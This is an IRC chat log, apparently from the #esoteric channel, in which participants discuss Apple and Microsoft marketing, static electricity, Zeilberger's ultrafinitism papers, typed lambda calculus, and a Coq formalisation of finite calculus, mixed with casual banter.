19:21:38 <ais523> the download page is specifically a Windows one, and they directed me to it
19:21:46 <alise> heh
19:21:55 <ais523> I was messing about with browserchoice.eu
19:22:10 <ais523> all their advertising doesn't say "os x and windows", but "mac and PC"
19:22:21 <oerjan> alise: hm iirc everything that can be typed in ML can be typed in simply typed lambda calculus with fix, just by duplicating things used with more than one type
19:22:39 <oerjan> vague recall as usual
19:23:28 <alise> anyone have that nice ~> symbol?
19:23:34 <cpressey> http://dpaste.com/170084/ <-- last cleanup for now.
19:24:00 <cpressey>
19:24:03 <cpressey> is not so nice in my font
19:24:08 -!- kar8nga has quit (Remote host closed the connection).
19:24:14 -!- alise_ has joined.
19:24:17 <alise_> no, it's just like -->
19:24:21 <alise_> but the -- is wavy
19:24:38 <ais523> ⇝ is the closest I can find
19:24:41 <Gregor> ais523: It is in the interest of both Apple and Microsoft to confuse people into thinking that the computer and OS are intrinsically bonded.
19:24:41 <cpressey> I can barely see the squiggling at this font size, but it's there
19:24:43 <ais523> "rightwards squiggle arrow2
19:24:44 <ais523> *"
19:25:02 <ais523> Gregor: I suppose so
19:25:12 <ais523> except then, why do Apple advertise Parallels?
19:25:16 <alise_> Maybe it's just a latex thing
19:25:18 <pikhq> Gregor: More so Apple than Microsoft.
19:25:28 <alise_> nah
19:25:32 <Gregor> pikhq: I would say about equal.
19:25:37 <alise_> apple even have parallels on their apple store computers
19:25:42 <pikhq> Since Microsoft doesn't care *too* much so long as their OS is running on it.
19:25:46 <alise_> you think microsoft would advertise mac compatibility?
19:25:55 <alise_> apple are a hardware company, microsoft not
19:26:04 <Gregor> ais523: They don't advertize Parallels as something to run Linux on, they advertize it as if Windows is just as magically bonded to it as to a PC.
19:26:04 <alise_> ok then, what about the => char?
19:26:07 <alise_> that is also acceptable
19:26:10 <pikhq> Apple is first and foremost a hardware manufacturer, and sells their hardware based on OS features.
19:26:16 <ais523> Gregor: ah, maybe
19:26:52 <Gregor> Although their reasons for wanting people to think there's a magical bond are different, they both have the same want, and probably about to the same degree.
19:26:52 <cpressey> As long as Apple are not a grammar company.
19:27:16 <Gregor> For Apple it's about getting money for something that has little to no benefit in and of itself, for Microsoft it's about squashing all competition.
19:28:00 -!- alise has quit (Ping timeout: 252 seconds).
19:28:41 <pikhq> What Microsoft wants is to confuse people into thinking that "Microsoft" == "program".
19:29:35 <Gregor> Dude, I downloaded this Microsoft, but I think it was spyware, it installed like eight other Microsofts on my Microsoft!
19:29:52 <pikhq> Yes, exactly.
19:30:13 <AnMaster> static discharge against a car *through thick gloves*
19:30:13 <AnMaster> wth
19:30:16 <alise_> Gregor: what has little to no benefit?
19:30:18 <AnMaster> anyone can explain that?
19:30:45 <ais523> AnMaster: woolen, or leather?
19:31:01 <Gregor> alise_: The hardware, without the software. It's pretty good as hardware goes, but it's not so good to be worth its rather high price :P
19:31:15 <AnMaster> ais523, wool/acrylic mix I think
19:31:27 <alise_> Gregor: I actually investigated that a while ago. It turns out that actually it's pretty reasonably priced for the components and the boutiqueness of Apple.
19:31:29 <AnMaster> possibly some cotton as well
19:31:39 <alise_> The markup is something like 30% on the lower-end models, typical of boutique products. On the higher end models? Less.
19:31:40 <Gregor> "Boutiqueness"
19:31:45 <alise_> Yes :P
19:31:50 <Gregor> WTF is "boutiqueness"
19:31:57 <ais523> AnMaster: well, there are probably air gaps inside the gloves; pushing against the car (say to pull a handle) would have compressed it to the extent that you could get a spark between your skin and the metal of the car through them
19:32:03 <alise_> The image of it being a high quality product because of its social/fashion status.
19:32:07 <cpressey> Cachet.
19:32:17 <Gregor> alise_: Uhh, isn't that exactly my point?
19:32:27 <alise_> Gregor: Yes, but it's not a hugely unreasonable margin. But.
19:32:40 <alise_> For instance the 27" iMac is pretty good value, actually. Just the 27" IPS display would cost about as much as the lowest-end model of it. It's a very expensive component.
19:32:42 <AnMaster> ais523, actually by that point I had just laid my finger against it, hadn't yet had time to push the door closed
19:32:58 <AnMaster> so it must have been a huge charge
19:32:59 <alise_> The higher-end model of it comes with a Core i7 - at that point the profit margins just keep diminishing.
19:33:03 <ais523> the issue is not that Macs are overly expensive for a high-end model, IIRC, but that they don't offer low-end models
19:33:06 <AnMaster> still feels somewhat from it in my thumb
19:33:13 <alise_> It's something like $3k for the whole lot. Add in the huge cost of the the-whole-fucking-thing-is-one-gigantic-bit-of-aluminium...
19:33:28 <alise_> And the top-of-the-range 27" iMac is probably the cheapest way to get all those components.
19:33:30 <cpressey> I don't think we fully understand static electricity
19:33:31 <alise_> ais523: pretty much
19:33:37 <alise_> and its low range has a higher-than-average profit margin
19:34:01 <AnMaster> cpressey, oh?
19:34:02 <cpressey> I have seen it be very bad in humid environments and very mild in dry environments in the winter
19:34:12 <cpressey> Which is not how I was told it was supposed to work
19:34:21 <AnMaster> cpressey, I usually see the reverse of that
19:34:28 <AnMaster> a *lot* when try
19:34:29 <AnMaster> dry*
19:34:35 <AnMaster> and not very much when humid
19:34:45 <cpressey> I don't doubt it, but maybe there is some other correlate
19:35:06 <AnMaster> cpressey, perhaps something specific to that environment? Or was the observation made in different places?
19:35:09 <ais523> cpressey: static electricity discharges through the air faster when it's humid, but that isn't to say you can't charge it up
19:35:37 <ais523> the way static electricity discharges from humans work is, you normally build it up over time walking on carpets, etc, and when you touch metal it discharges through that
19:35:43 <ais523> and if it had charged up far enough, you can feel it
19:35:50 <cpressey> Different geographical locations, yes, I would guess it might vary on something else that was different between them
19:36:09 <ais523> alise_: what about ↝
19:36:46 <fax> ais my cats ears
19:37:20 <Gregor> Ohhey, looks like we traded out Miss Piggy.
19:37:48 <alise_> It's now a fax.
19:40:17 <Gregor> Yup
19:40:37 <fax> Gregorification.
19:40:52 <Gregor> GreGLORIFICATION
19:40:56 <fax> lol
19:41:17 <olsner> GregLOLification
19:41:37 <Gregor> How Gregarious it is to Greglorify.
19:42:01 <oerjan> dulce et gregorum
19:42:53 <fax> Definition DiscreteDerivative (f : Z -> Z) (x : Z) := f (x + 1) - f x.
19:43:34 <fax> Notation "∆" := DiscreteDerivative.
19:43:39 <fax> alise paying attention??
19:45:05 <alise_> huh what now i am
19:45:16 <alise_> fax: what about it
19:49:21 <alise_> http://pastie.org/861902.txt?key=71fbadzjph5ovvw9xvbkxa this is pretty but not valid
19:49:42 <alise_> because `⟪∗⟫ = ∀a. SKF a` means that ⟦_⟧ is too fancy for its own type :(
19:49:44 <fax> re. your earlier question: YES
19:50:02 <alise_> I've forgotten the earlier question. I ask so many...
19:50:31 <fax> SKI is equivalent to STLC, but STLC + fix is recursive
19:50:53 <alise_> by SKI I assume you mean STSKI there
19:50:56 <fax> yes
19:51:36 <alise_> so cool
19:51:46 <alise_> if my interpreter wasn't broken i'd have done sum tc'ing
19:51:50 <alise_> mind it is particularly pretty broken code
19:55:25 <alise_> fax: so why did you define discrete derivative there?
19:55:43 <alise_> making sure coq is ready for the new age of ultrafinitism? :D
20:01:20 * alise_ tries to devise a logic in which !!x = !x
20:01:41 <fax> I'm implementing the finite calculus!
20:02:56 <alise_> fax: cool
20:02:57 <alise_> how does Notation work btw?
20:03:42 <lament> |||||||||||||\\\\\\\\
20:04:51 <lament> finitists can't have limits either? How do you do calculus at all?
20:05:07 <lament> just numerically, with some estimate of the error?
20:05:25 <fax> lament, finite calculus is about finite sums :D
20:05:29 <alise_> lament: i'm talking ultrafinitists here
20:05:32 -!- Azstal has joined.
20:05:40 <fax> like Sum[i=1..n] i^2
20:05:46 <alise_> if IE wasn't being a bitch I'd link you
20:06:03 <ais523> what specifically's the problem with IE?
20:06:14 <lament> thanks, i don't really wanna know
20:06:17 <alise_> lament: http://www.math.rutgers.edu/~zeilberg/mamarim/mamarimPDF/real.pdf
20:06:21 <alise_> lament: oh you do, it's hilarious
20:06:29 <lament> no i really don't trust me
20:06:35 <alise_> YES YOU DO :|
20:06:42 <alise_> ais523: all keyboard shortcuts and commands are being ignored
20:06:51 <ais523> err, wow
20:06:57 <alise_> lament: basically there's some defined mesh size of the reals
20:06:58 <ais523> I'm pretty sure that isn't intentional behaviour
20:07:03 <alise_> and you treat it as an infinitesimal
20:07:15 <alise_> (actual, real mesh size, as a "universal constant")
20:07:39 <lament> let's say it's 1
20:07:58 <lament> since it's gotta be scale-invariant anyway
20:08:11 <cpressey> nice. Reals = Integers.
20:08:16 <alise_> lament: in real.pdf he does it paramaterisabled
20:08:19 <alise_> ified
20:08:21 -!- Asztal has quit (Ping timeout: 258 seconds).
20:08:25 -!- Azstal has changed nick to Asztal.
20:08:27 <alise_> cpressey: and the integers are finite
20:08:31 <alise_> or more precisely the integers don't exist
20:08:32 <lament> probably easier to prove it's scale-invariant and then set it to 1
20:08:40 <alise_> fax: vacuous : ∀a, (P : ⊥ → ⋆), (x:⊥). P x!
20:08:55 <cpressey> "exist" is more precise than "finite" now is it
20:09:05 <fax> ⋆?
20:09:06 <alise_> cpressey: :D
20:09:14 <alise_> fax: supertype of set and prop
20:09:43 <lament> but what's the ultrafinitist perspective on nullity??
20:09:55 <alise_> lament: it's totally yeah man
20:10:25 <cpressey> needs more skolemization
20:10:31 <ais523> alise_: is that pdf meant to be serious?
20:10:37 <alise_> ais523: yes
20:10:41 <alise_> zeilberg is a fucking nutcase :)
20:10:42 <ais523> I can't tell whether it's a parody, or just deluded people
20:10:56 <alise_> btw this guy is a professor
20:11:16 <alise_> vacuous {_} {_} {x} = explosion x
20:11:19 <alise_> hooray for ex falso quodlibet
20:11:43 <cpressey> "truer"
20:11:47 <alise_> the best thing is though you can say that
20:11:50 <cpressey> I totally agree.
20:11:57 <alise_> ∀(x:⊥). x ≠ x
20:12:14 <alise_> and all sorts of fun stuff besides
20:12:26 <ais523> "Analogously, my own best ideas, far surpassing anything in my ‘serious’ papers, are contained in my annual April Fool’s jokes, sent to my E-correspondents and posted on my website. This way I can express my ‘off the wall’ ideas without being considered a crackpot."
20:13:00 <ais523> isn't a similar principle used for distributing INTERCAL?
20:13:05 <oerjan> alise_: if you define !x = x then you get !!x = !x for free ;D
20:13:16 <alise_> oerjan: hahaha no.
20:13:51 <oerjan> another option is the modal necessity operator
20:13:57 <ais523> alise_: it's unprovable that all that is wrong; no matter how small a number you suggest, it's always possible that the mesh size is smaller
20:14:02 -!- alise has joined.
20:14:17 <ais523> <ais523> alise_: it's unprovable that all that is wrong; no matter how small a number you suggest, it's always possible that the mesh size is smaller
20:14:26 -!- oklokok has joined.
20:14:46 <alise> ais523: yep, except not quite
20:14:50 <alise> it can't be smaller than the planck length
20:15:02 <alise> well unless you pack multiple bits of info into one tiny particle
20:15:07 <alise> well
20:15:09 <ais523> who says that maths and physics have the same fundamental measurements?
20:15:12 <alise> i guess not in zeilberger's ultrafinitism
20:15:23 <alise> but most ultrafinitists are such because of physical limits
20:15:35 <alise> i.e. you can't have an infinite set of natural numbers because you can never compute it all
20:15:54 <alise> you can't have a really tiny rational because there isn't the space to show its tininess
20:16:16 <ais523> I love the talk about sqrt(2) not actually existing after all, because distances don't exist, just areas
20:16:39 <cpressey> Math is a consistent fiction.
20:16:47 <cpressey> Guess what? It's the consistent part that's important.
20:16:55 <cpressey> *"consistent"
20:17:04 <alise> "consistent" fiction
20:17:06 <alise> LIKE ZFC
20:17:22 <cpressey> ZFC is too powerful for my taste.
20:17:30 -!- alise_ has quit (Ping timeout: 252 seconds).
20:17:32 <cpressey> I like simple theories.
20:17:36 <cpressey> Like !x = x.
20:17:53 <alise> I thought you liked consistency :P
20:18:15 <alise> ais523: I like how he says that Goedel is "irrelevant" because the things it applies to have no meaning
20:18:16 <cpressey> Well, I ilke !x -> x better.
20:18:20 <alise> but that isn't even implied by rejecting all infinites
20:18:26 <alise> goedel numbers are huge but not infinite...
20:18:34 <alise> and certainly not so huge that we can't represent them
20:19:31 <alise> I'm restarting IE.
20:19:45 * fax wonders how to write (x+1)x(x-1)...(x-m+2)-x(x-1)...(x-m+2)(x-m+1) in a proof assistant
20:19:53 <alise> fax: just write it :P
20:19:55 <fax> "..." means induction I guess
20:20:14 <alise> fax: zeilberger will love you
20:20:19 <alise> are you defining R := his definition too? :D
20:20:20 <alise> mesh size!
20:21:41 -!- alise_ has joined.
20:22:02 -!- whtspc has joined.
20:22:03 <alise_> what I missed I desire elaboration upon
20:23:14 -!- whtspc has quit (Client Quit).
20:23:39 <cpressey> Wow, what insane garbage. It's not that I inherently object to his premise, either. It's far more that he tries to buttress it with crap.
20:24:03 <alise_> His writing style is putrid. I'd much prefer my own whiny.
20:24:50 -!- alise has quit (Ping timeout: 252 seconds).
20:24:52 <alise_> Also, I have an unstoppable urge now to define his paramaterisable finite universe.
20:24:54 <cpressey> "Suppose x is even." "Well suppose it's not!"
20:25:52 <fax> hehe
20:28:42 <alise_> Presumably the mesh size h is an ultrafinitist-rational.
20:28:44 <alise_> And p is an ultrafinitist-natural.
20:28:49 <cpressey> I imagine he'd just freak out at concepts like "Turing-complete". I mean, you *can't* have infinite memory. You just *can't*.
20:29:13 <alise_> The problem is that the Ultrafinitism module is paramaterised over h and p, so how do you do it?
20:29:29 <cpressey> I didn't read it as being parameterized.
20:29:36 <cpressey> I read it as h is a constant.
20:29:47 <cpressey> A very small, unidentified constant. But not variable.
20:29:52 <alise_> Oh, yes.
20:30:01 <alise_> But he parameterises it later in his analysis.
20:30:06 <cpressey> Oh nice.
20:30:15 <alise_> (Because you don't know what it is.)
20:30:22 <alise_> And, of course, we don't know their True Universal Values, so for now we must specify it
20:30:31 <cpressey> Trying very very hard not to LOL, natch.
20:30:34 <cpressey> (me)
20:30:46 <alise_> Until the Ultrafinitist Physicist Association of America completes its experiments.
20:31:40 <alise_> With their grant from NAO2^{80}PSA, the National Aeronautics and Observable 2^80 Particles of Space Administration.
20:33:23 <alise_> fax: are you sure you don't have the link to that site
20:33:28 <fax> what site?
20:33:41 <alise_> it says it was a book that claimed to be from the future, with a bunch of formalised mathematical proofs in it
20:33:50 <alise_> saying that oh in the past they did this all by hand ha ha ha
20:33:50 <fax> I told you I don't know what you're talking about
20:33:53 <alise_> and it defined a bunch of maths in it
20:33:56 <alise_> ugghh yes you do you linked to it
20:37:35 <fax> just explain it so that I understand what you meanl
20:37:38 <alise_> fax: it was either in maple or ... i think coq
20:37:48 <alise_> its name was an acronym, i think a deliberately-amusing one
20:37:51 <fax> Ah Zeilbergers book!
20:38:02 <alise_> haha same guy?
20:38:04 <fax> http://www.math.rutgers.edu/~zeilberg/GT.html
20:38:09 <alise_> how come it wasn't ultrafinitist
20:38:20 <fax> Zeilberger is one of my idols
20:38:23 <fax> well
20:38:33 <alise_> you /idolise/ this insane man?
20:38:38 <fax> I don't really have idols but I really enjoy his work
20:38:40 <alise_> he doesn't believe there are any infinite sets...
20:38:50 <fax> have you ever seen an infinite set?
20:39:19 <fax> (and don't say, yeah in my ZFC textbook: I can write "magic rainbow unicorn" on a bit of paper too)
20:39:27 <alise_> no, i mean exist as in mathematically
20:39:36 <alise_> he thinks the definition of the reals is R = hZ_p
20:40:04 <Deewiant> No, he thinks it should be
20:40:06 <alise_> yes, but he's /talking/ about abstract systems
20:40:19 <fax> that's radical
20:40:33 <alise_> and talks about the REAL real line
20:40:33 <alise_> as if anything abstract is "real"
20:40:37 -!- Gracenotes has joined.
20:40:38 <cpressey> I think if you gave me an infinite amount of time and an infinite lifetime and an infinite supply of paper I could show you an infinite set
20:40:49 <cpressey> *lifespan
20:40:51 -!- alise has joined.
20:40:58 <alise> fax: it's a word starting with r
20:40:58 <alise> but not radical
20:41:00 <alise> i'd go for retarded
20:41:23 <oklokok> no you couldn't, {a^n | n \in N} doesn't contain an infinite word
20:42:25 <cpressey> That's true, it doesn't even, at that.
20:42:53 <cpressey> All the more reason to go ultrafinitish!
20:42:57 <alise> fax: seriously the fact that you don't see real.pdf and immediately realise that this guy is completely idiotic shakes my faith in things you say
20:43:29 <cpressey> But wait, it's still an infinite *set*, right?
20:43:58 <fax> :P
20:44:08 <alise> N = {0, 1, 2, 3, ..., p}
20:44:11 <alise> hmm, actually
20:44:18 <alise> he never says p is the biggest natural
20:44:19 <fax> you are young alise, sometimes you say things which rembind me of that
20:44:20 <alise> or indeed the biggest prime
20:44:30 <alise> obviously it must be the biggest prime or the definition of R would make no sense
20:44:45 <alise> so |N| = p and a bit :P
20:44:54 <oklokok> cpressey: yeah, but at any point you'll have an element of {{a^n | n = 0, ..., k} | k \in N}
20:45:00 -!- alise_ has quit (Ping timeout: 252 seconds).
20:45:11 -!- alise_ has joined.
20:45:33 <alise_> "oh you don't understand the subtle adultness of considering ultrafinitism... you have to be older to know these things... one day... one day" bullshit
20:45:50 <fax> lol
20:47:20 <cpressey> I would probably describe myself as a mathematical generativist, or something.
20:47:36 <alise_> constructivism, hells yeah
20:47:49 <cpressey> Not exactly constructivist.
20:48:24 <alise_> i was just asserting my own position
20:48:39 <cpressey> I was just clarifying my own :)
20:49:02 -!- alise has quit (Ping timeout: 252 seconds).
20:50:03 <oklokok> alise_: why wouldn't the definition of R make sense if p wasn't prime?
20:50:24 <fax> needs a prime p to be a field ?
20:50:26 <oklokok> i don't really even believe in finite numbers, actually i often wonder whether i exist
20:51:00 <cpressey> It's a matter of whether you regard computations to "halt" or not, I think.
20:51:01 <oklokok> it's not a field, p is so big you can't actually do division
20:51:03 <fax> now THAT is radical
20:51:31 <cpressey> CA's never "halt" unless I have some way to recognize what I want "halt" to look like
20:51:33 <alise_> oklokok: nonono, he asserts that it is prime
20:51:33 <alise_> but it makes no sense to arbitrarily restrict R's size when the whole point is "there is a limit to these things"
20:51:33 <alise_> fax: it's not a field, big + n is undefined
20:51:33 <alise_> oh wait it's modulo
20:51:42 <cpressey> TMs are assumed to "halt" because recognizing it is trivial
20:51:58 * cpressey loves the alisedumps
20:52:06 <oklokok> at least that's how i see ultrafinitism, p sets the bound on anything we do, so if we wanna divide, we run out of Z_p when we try to find the number near p that's the inverse
20:52:45 <oklokok> there is an inverse but it's incredibly big so it's irrelevant
20:53:06 <alise_> cpressey: alisedumps?
20:53:08 <oklokok> i'd say inverses come from assuming we have such big numbers that when dividing them by each other the rounding errors don't matter :o
20:53:12 <alise_> no coppro is the poo-lovin' guy
20:54:17 <oklokok> cpressey: what's a matter of whether to regard computations to halt or not?
20:54:26 <oklokok> the constructing an infinite set thing?
20:54:43 <cpressey> alise_: Every so often 4 or 5 lines from you show up at the same time, presumably due to your web->irc gateway thing
20:55:06 <alise_> cpressey: just 3g stick lag
20:55:08 <cpressey> oklokok: Whether there are finite numbers, or not, or infinite numbers, or not
20:55:17 <cpressey> 1 = 1.0000000000....
20:55:24 <oklokok> i don't see a connection
20:55:42 <cpressey> 1 has halted
20:55:44 <oklokok> is 1.0000... an infinite number?
20:55:49 <cpressey> 1.0000000.... never halts
20:55:56 <cpressey> Why wouldn't it be?
20:56:18 <oklokok> well it's impossible for 1 to be finite and 1.000... to be infinite, because they are the exact same object
20:56:34 <oklokok> so in fact we're working in some sort of universe of representations here?
20:56:57 * cpressey shrugs
20:57:08 * oklokok too
20:58:04 -!- oklokok has changed nick to o|{|_o9o|_.
20:58:09 <o|{|_o9o|_> i'm not very leet
20:58:24 -!- alise_ has set topic: arys.
20:58:28 <alise_> oops
20:58:32 <o|{|_o9o|_> i should go clean up random parts of the apartment
20:58:33 -!- alise_ has changed nick to arys.
20:58:42 <o|{|_o9o|_> ~~>
20:58:47 <cpressey> Of course, the ultrafinitist, along with their unacceptance of the concept of Turing-complete, will find the Halting problem trivial. All machines always halt, due to entropy.
20:58:56 -!- arys has set topic: q.
20:59:41 -!- ais523 has set topic: "Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | alise sighting counter currently out of sequence | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
21:01:19 <o|{|_o9o|_> due to entropy?
21:01:21 <arys> DFEHGJIKGMLINGPOQIKG$L5RS&TUMVGJI@WJX)YZE)[\R?G^]NEHGJIKGLINGMSR?'aOcbML5R?d5GJVI@L5[\eS&TUMVGJI@WJf - zeilberger
21:01:21 <arys> oops
21:01:22 <arys> fucking copy from pdf
21:01:33 <arys> http://www.math.rutgers.edu/~zeilberg/mamarim/mamarimPDF/goodwin.pdf
21:01:41 <arys> he isn't even consistent about ultrafinitism
21:01:44 <arys> see first paragraph
21:02:07 <arys> joke paper, but
21:02:46 <cpressey> Perhaps he believes Aleph is a finite value.
21:03:02 <o|{|_o9o|_> p+1?
21:04:45 -!- lament has quit (Ping timeout: 245 seconds).
21:04:45 <arys> now now he never said that x in N -> x < p
21:04:46 <arys> he just /strongly implied/ that there is no bigger prime than p
21:04:59 -!- alise has joined.
21:06:51 -!- lament has joined.
21:06:53 <alise> fax: should i learn coq?
21:07:45 <lament> how i stopped worrying and learned to love the coq
21:09:12 -!- arys has quit (Ping timeout: 252 seconds).
21:09:49 <fax> Eval compute in Discrete_Definite_Integral 1 5 (fun x => x).
21:09:55 <fax> = 10
21:09:55 <fax> : Z
21:12:00 <alise> paste the code somewhere
21:12:16 <fax> = 1 + 2 + 3 + 4 + 5
21:12:47 <cpressey> 10 =/= 1 + 2 + 3 + 4 + 5
21:12:49 * fax is about to prove Fundamental_Theorem_Of_Finite_Calculus
21:12:52 <alise> fax: err...
21:12:53 <alise> yeah :P
21:12:58 <fax> cpressey, it's correct within experimental error
21:13:01 <cpressey> Unless it does
21:13:06 <cpressey> OK, I'll buy that
21:13:09 <alise> fax: experimental error my arse :P
21:23:14 <cpressey> So, my woes are all because a mock object is not sufficiently mocking the the thing it set out to mock, huh?
21:23:22 <cpressey> Nice.
21:32:48 <o|{|_o9o|_> the discrete definite integral from 1 to 5 is the sum from 1 to 4
21:32:59 <o|{|_o9o|_> = 10
21:34:27 -!- hiato has quit (Quit: leaving).
21:35:24 <alise> fax: show yer koed
21:35:46 <o|{|_o9o|_> it's because given f we're computing a function g such that g(x+1) - g(x) = f(x), so the sum of f(x), where x goes from a to b is g(b+1) - g(a)
21:36:21 <cpressey> The code sounds like it would be trivial to me.
21:36:28 <FireFly> Who's the o guy...ah, should've guessed
21:36:35 <o|{|_o9o|_> should be pretty trivial
21:37:04 <alise> cpressey: yeah but proving fundamental theorem of finite calculus will be fun
21:37:25 <o|{|_o9o|_> what i just said is basically the proof
21:37:38 <o|{|_o9o|_> although i skipped it completely because it's obvious
21:37:54 <o|{|_o9o|_> i mean the "it's because given f ..." thing
21:38:45 <o|{|_o9o|_> no wait actually what's the fundamental theorem
21:38:58 <fax> alise, I will when it's done
21:39:12 <fax> I'm still working on proving Fundamental_Theorem_Of_Finite_Calculus
21:39:23 <o|{|_o9o|_> can you link the paper?
21:39:27 <alise> o|{|_o9o|_: inversitude
21:39:34 <alise> presummyby
21:39:43 <fax> woah you guys are talking about finite calculus too! what a coincidence
21:39:48 * ais523 reads about the Trojan Horse found in the drivers for a battery charger
21:39:58 <alise> fax: because of you :P
21:40:02 <o|{|_o9o|_> aren't we talking about finite calculus because you brought it up?
21:40:23 <ais523> it's funny seeing the arguments "well, if a battery charger connects to the Internet there's probably something wrong with it" vs. "why on earth would a battery charger company check to see if it connects to the Internet anyway?"
21:42:26 <o|{|_o9o|_> so what's the fundamental theorem?
21:42:35 <o|{|_o9o|_> or alternatively can someone link the paper?
21:42:57 <fax> the finite calculus paper? http://www.stanford.edu/~dgleich/publications/finite-calculus.pdf ?
21:43:02 <o|{|_o9o|_> thanks
21:43:12 <fax> I thought you already had it
21:44:58 <o|{|_o9o|_> okay yeah then i proved it by saying it's obvious
21:45:10 <o|{|_o9o|_> well i did, i didn't know i did
21:45:41 <cpressey> I don't know how to correct that impression
21:46:32 <o|{|_o9o|_> the theorem doesn't actually have any mathematical content, it's just stated for convenience, so you don't have to think about what happens on the boundaries of the sum and the integral every time
21:46:51 <fax> not so!
21:47:12 <ais523> <enkafan> I'm not some open source hater by any means, but I think the chances that someone who gave a shit about the source of a freaking battery charger driver would be exactly the type of person who would never be dumb enough to buy a battery charger that needs a windows driver install.
21:47:18 <ais523> this is one of the best flamewars I've seen for a while
21:48:35 <cpressey> It makes me sad
21:49:26 * fax proved the fundamental theorem :D
21:49:49 <cpressey> Right on.
21:49:55 <cpressey> #esoteric is full of proofs today
21:50:00 <cpressey> Maybe we'll open up the bonus level
21:50:03 <o|{|_o9o|_> i really don't see what there is to prove
21:50:18 <fax> o|{|_o9o|_, I mean formal proof
21:50:38 <o|{|_o9o|_> if you sum adjacent values of f(x+1)-f(x)'s, obviously all but the left and rightmost ones cancel out
21:50:41 <o|{|_o9o|_> oh in coq?
21:51:02 <o|{|_o9o|_> then i obviously have no idea how hard it is
21:51:04 <fax> o|{|_o9o|_, oh and, I used "The Fundamental Theorem" as my definition, which means MY fundamental theorem is their definition
21:51:33 <fax> not very hard because Z has already a fair bit of theory in the standard library, without that -- this would not be possible
21:51:54 <o|{|_o9o|_> i believe you
21:51:55 <oerjan> clearly you need to use coq's "obvious" tactic
21:53:12 -!- alise has quit (Ping timeout: 252 seconds).
21:53:33 -!- Daexpos has joined.
21:54:00 <Daexpos> Who is the exoterisc?
21:54:38 <cpressey> Him!
21:54:39 <Daexpos> Pene
21:54:40 * cpressey points
21:54:44 -!- Daexpos has left (?).
21:55:07 <cpressey> And all present were enlightened, I'm sure.
21:55:15 <fax> Pene.
21:55:35 <oerjan> that's the ablative of penis, right?
21:55:56 <pikhq> Fax intends to ablate your penis.
21:56:14 <Quadrescence> fricative
21:56:16 <pikhq> I don't know what ablate means, but it sounds painful.
21:56:16 <oerjan> ouch
21:56:23 <oerjan> `define ablate
21:56:26 <HackEgo> * wear away through erosion or vaporization \ * remove an organ or bodily structure \ [14]wordnetweb.princeton.edu/perl/webwn
21:56:37 <pikhq> It is in fact quite painful.
21:56:47 <Quadrescence> `define fricative
21:56:49 <HackEgo> * fricative consonant: a continuant consonant produced by breath moving against a narrowing of the vocal tract \ * of speech sounds produced by forcing air through a constricted passage (as `f', `s', `z', or `th' in both `thin' and `then') \ [18]wordnetweb.princeton.edu/perl/webwn
21:56:51 <pikhq> Or at best, very shocking.
21:57:01 <pikhq> `define fricate
21:57:03 <HackEgo> * Frication - Fricatives are consonants produced by forcing air through a narrow channel made by placing two articulators close together. ... \ [13]en.wikipedia.org/wiki/Frication \ * frication - friction; turbulent and noisy airflow
21:57:08 <pikhq> Darn.
21:57:12 <Quadrescence> ;)
21:57:19 <Quadrescence> force air through narrow channel
21:59:07 <lament> i forced.... ughr
21:59:17 <lament> oh, fricate. not fornicate.
22:01:57 -!- werdan7 has quit (Ping timeout: 619 seconds).
22:02:10 -!- Gracenotes has quit (Quit: Leaving).
22:07:16 <fax> hey alis
22:07:17 <fax> hey alise
22:08:14 -!- werdan7 has joined.
22:10:29 <Quadrescence> lament: can you believe I was banned??? :(
22:12:11 <ais523> Quadrescence: from where?
22:12:18 <Quadrescence> #nm
22:12:41 <Quadrescence> and after all this time I thought I was an asset to the channel :(((((((((((((((((((((((((((((((((((((((((((((
22:13:58 <lament> what holy shit
22:14:27 <Quadrescence> lament: |Steve| did because I banned him from ~m
22:15:01 <Quadrescence> [otherwise no other reason]
22:15:47 <lament> wow, what a jerk!
22:16:00 <lament> such tit-for-tat brinkmanship
22:16:38 <lament> he should have turned the other cheek and made you an op so you can ban him in #nm
22:17:51 * oerjan seems to be having troubles with his sarcasm meter
22:18:29 -!- MigoMipo_Zwei has joined.
22:18:41 -!- MigoMipo has quit (Ping timeout: 260 seconds).
22:19:02 -!- MigoMipo_Zwei has changed nick to MigoMipo.
22:20:14 <lament> Quadrescence: i'm using all my diplomatic finesse to get you unbanned
22:20:20 <lament> so expect a permaban, probably in #math too
22:20:36 <oerjan> lol
22:20:41 <Quadrescence> lament: awww
22:20:55 <cpressey> OK, that was funny.
22:20:57 <Quadrescence> Noooo don't get yourself in trouble
22:21:24 <lament> nono i'm not getting *myself* in trouble :D
22:21:37 <Quadrescence> Hahaha okay good
22:21:49 <oerjan> - famous last words
22:23:42 <o|{|_o9o|_> "oerjan: lol" <<< is it just me or is this really out of character
22:24:06 <o|{|_o9o|_> or was that just the first thing ever you found funny here
22:24:14 <Quadrescence> I found this quite funny: [16:17.27] * oerjan seems to be having troubles with his sarcasm meter
22:24:20 <o|{|_o9o|_> also god i hate this nick
22:24:50 <o|{|_o9o|_> oerjan leaks this constant flow of hilarious humor
22:24:59 -!- cpressey has changed nick to cpressez.
22:25:41 <oerjan> Quadrescence: i found lament's comment hard to measure
22:25:51 <Quadrescence> I know
22:25:53 <Quadrescence> it was funny
22:25:58 <Quadrescence> the way you said it
22:26:03 <Quadrescence> at the time you said it
22:26:50 -!- muni_ has joined.
22:27:18 <lament> "I love you." "LOL!"
22:27:52 <cpressez> I suppose that's better than "I love you." "ROTFL"
22:28:14 <oerjan> lol
22:28:35 <oerjan> (yeah i'm just messing with o|{|_o9o|_ now)
22:28:50 <oerjan> (ok, and laughing)
22:29:04 <cpressez> limh
22:29:08 <cpressez> (laughing in my head)
22:29:32 <fax> why did alise just disappear like that?
22:29:32 <oerjan> sounds painful
22:29:46 <oerjan> fax: THEY found him
22:29:56 <oerjan> yeah not funny
22:31:54 <o|{|_o9o|_> it's an unfunny in-joke in bad taste
22:32:07 <o|{|_o9o|_> the best kind
22:32:12 <oerjan> maybe i should ban myself
22:32:25 <o|{|_o9o|_> can you?
22:32:32 <fax> okklopkuabp
22:32:32 <oerjan> presumably
22:32:37 -!- tombom has quit (Quit: Leaving).
22:32:39 <ais523> yep, he has ops nowadays
22:32:40 <fax> you didn't respond
22:32:44 -!- o|{|_o9o|_ has changed nick to oklopol.
22:33:18 <oklopol> didn't respond to what? if it was in pm, i had a different nick for a while, not sure if you noticed because there were only typographical differences
22:33:25 <fax> 8:/
22:33:50 <oklopol> you asked me whether 8, or what?
22:34:02 <oerjan> _clearly_ 8
22:34:13 <cpressez> The ratio between 8 and /
